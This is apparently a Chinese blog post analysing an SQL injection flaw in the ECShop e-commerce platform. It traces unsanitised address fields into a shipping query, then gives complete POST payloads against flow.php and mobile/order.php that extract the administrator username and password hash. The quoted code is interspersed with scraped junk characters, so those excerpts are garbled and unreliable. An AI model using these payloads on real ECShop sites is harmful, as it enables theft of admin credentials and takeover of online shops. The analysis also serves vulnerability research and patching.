ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

    漏洞关键文件：

    /includes/lib_order.php
0 a" D2 x! Z$ \: S- y- y
    关键函数：
4 h% ]6 k4 |7 r# S( |: a
! V; F4 _+ s* B
1 B1 {! Q! D& M- t/ ^
01     function available_shipping_list($region_id_list)
; J3 w" `. ^# h4 k
02 {
% r1 c9 y2 ~; g# g) P( r, ^& _
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
4 R# r* G. K8 N( a5 `
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .

* h  P' R6 W3 o/ l/ C5 t7 s& `- _05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .

06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
( d8 s/ N4 w3 ^
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
8 w5 I1 F4 _+ u& s: ]
9 }3 J# f" Q, h. y6 f+ Q: ^' N' V08             'WHERE r.region_id ' . db_create_in($region_id_list) .

/ S# j  Y# k6 ^" i6 a09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
4 @( r- S9 k$ L( ?& z5 l# B
$ M' o& f1 o' n- T: G& V) K$ W6 C10   
3 U+ K4 o$ a6 b1 R7 z
11     return $GLOBALS['db']->getAll($sql);

  X- G* m- ]2 w9 F5 H+ r12 }

显然对传入的参数没有任何过滤就带入了查询语句。
' A' |1 ^4 p8 k& [' f" T( _
8 m% L9 i$ X: n下面我们追踪这个函数在flow.php中：
第531行：   
1 N5 R5 g. b8 F- ]
1 $shipping_list     = available_shipping_list($region);
6 D1 |3 R- R$ }( ]9 b; z
2 B2 B4 N, l* J- X


6 b0 r* T5 _* n6 N0 C
再对传入变量进行追踪：

1 Z% J. C. {7 F7 n0 z第530行：   

* T0 O5 M* c6 ]7 Z3 a1 H1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
# j4 w& E! ]- H4 Z$ ]- k* `




第473行：        

" `5 U1 p' G# f1 $consignee = get_consignee($_SESSION['user_id']);
  }) ]7 W$ r$ ^# \* W
) b" n/ T6 S, e# D: b0 L( @4 P到了一个关键函数：

7 L4 i! J/ G1 T; \* m. z/includes/lib_order.php
: V8 F1 R' t0 Q' Q! `6 q
; X: z6 e, W3 c4 B5 Q% f
& p1 _0 i' u5 \1 r9 q( z
3 _) o4 i4 h8 o5 R) d8 H9 [

01 function get_consignee($user_id)
5 f' J4 \) i( z: E
9 ^6 N7 Y# t1 X! t02 {

: R0 z3 \4 j( @/ l/ v03     if (isset($_SESSION['flow_consignee']))
* H) ]1 H& |# r0 R
04     {

05         /* 如果存在session，则直接返回session中的收货人信息 */

) A. ~* ]* i( W06   

( |: L* v5 d' A07         return $_SESSION['flow_consignee'];

08     }

09     else
3 s8 ?2 I% x# P" T4 q
1 r. J4 e. J$ q; I+ A6 ^10     {
, S6 N) A8 \2 B$ D+ r
; y# f* Q( X. j5 P+ _% q! W, e11         /* 如果不存在，则取得用户的默认收货人信息 */
3 f' E* F  {& i* }
2 V; j: M( F0 W, k: h12         $arr = array();

13   
0 z- o9 C2 U6 b& }- e* v% f
14         if ($user_id > 0)
; O' Z5 {6 o% A1 D% p
4 J: Y. y% F& \5 e15         {

16             /* 取默认地址 */

17             $sql = "SELECT ua.*".
) |2 S% n5 ~; q$ y+ D$ w# @
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.

" c; T+ ]$ j' H! m19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

20   
/ }& ]; z; W* z2 `* C( m. }; E6 U3 a
8 R  _7 Y5 N# R21             $arr = $GLOBALS['db']->getRow($sql);

22         }

! R0 M* S/ j) T& x3 A& t% W23   
  \8 T2 P3 J0 h# s, m7 ~, G
24         return $arr;
) V2 s, k5 r6 C* P, s3 Q. J& f$ j
# G+ r$ H# _8 z25     }
) w/ d! _; n! c0 `: _
" c! C6 _# T( J! q2 l( X" e' j26 }

显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？



# T  v+ O# v5 q/ F1 m( f5 \. C7 q关键点:

第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
* L- h. |* R( h) H/ @- r
. u$ c) B5 y, J  t: W; H7 V这里对传入参数反转义存入$_SESSION中。

0 p" p6 q8 B* V" U7 o9 Y% p4 y

  Z! M6 Z. @) ~$ s2 x然后看下：
) P0 S# r, T9 |- C# d/ F

* w! a9 S; }( [4 @% m" Q: [; f- ~
   
, ^, `8 C1 V/ t% j! H/ A* l
. e) g- j) V" W) x/ a* \9 n. U01 $consignee = array(

02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
. V9 k- }4 s1 ?( M/ ]- d, H
! Y+ g/ `9 Q. I' x0 V. |' M. N03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
( f3 u' W- X/ x1 y" W' x$ i( S
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
( `  n7 C2 m0 t* D
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
5 C& x1 |) n4 i3 K. i# a2 _$ {
" h. b/ W' ?+ W, v' S06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
$ Q( r: F. R8 n; C
* j7 Z7 y- n% ^6 @; p! p08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
/ o6 B) t8 w" L8 ~: x$ f9 ?# j
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

" p. W/ C: K  E( U. E" t6 @+ I12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
4 R; B, p& S6 g8 c* ]
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
1 D8 C- w4 G2 [0 K
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

/ Y: K* A9 t. w* W: Z7 L7 k15     );

3 y; j- ?/ L+ H1 y好了注入就这样出现了。

==================
: D- z( ]$ c$ c) s$ |' R* ]
注入测试：

环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

测试程序：ECShop_V2.7.3_UTF8_release1106
) k8 k* u1 d% N( c- M* L) i

- X8 g& |* \, v' z8 p" B
5 P  g2 D3 V. R9 \1.首先需要点击一个商品加入购物车
: ~( S( i  Z) v/ S- y& a0 _
8 Y/ w9 }: O* E- r2.注册一个会员帐号
  c1 a/ U% |! ~
0 [8 h) K$ H( z; M4 L" m3.post提交数据

# |9 X  {" Q8 L3 L% N; K$ S
$ M, d& @. |& k& P6 ?* t6 w: }" U9 @
1 http://127.0.0.1/ecshop/flow.php

2   

3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：

2 \- ^. P% {6 N( f+ |/ Q我们搜寻关键函数function available_shipping_list()

在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同

$ a7 [$ z. _+ |0 N" w% T* @, t利用exp:

( p8 V0 ]. Y+ H8 x6 s1.点击一个商品，点击购买商标

" N7 P* @% z* p2 [( q" V2.登录会员帐号
/ @( c3 j" V2 t' }- ]
9 W+ N4 x1 K$ r- A) _3 ~3.post提交：

0 u- P5 c9 h' |2 M. phttp://127.0.0.1/ecshop/mobile/order.php
1 [/ |: {# ~7 E' `: N' r, \4 c
/ H% U, B/ `6 ?9 n: C, {
! V/ y5 t: ?( {3 C! b4 ^! ~6 P
6 Y1 o+ n) J" j/ X! ocountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=

" m' o/ R6 i( ^% t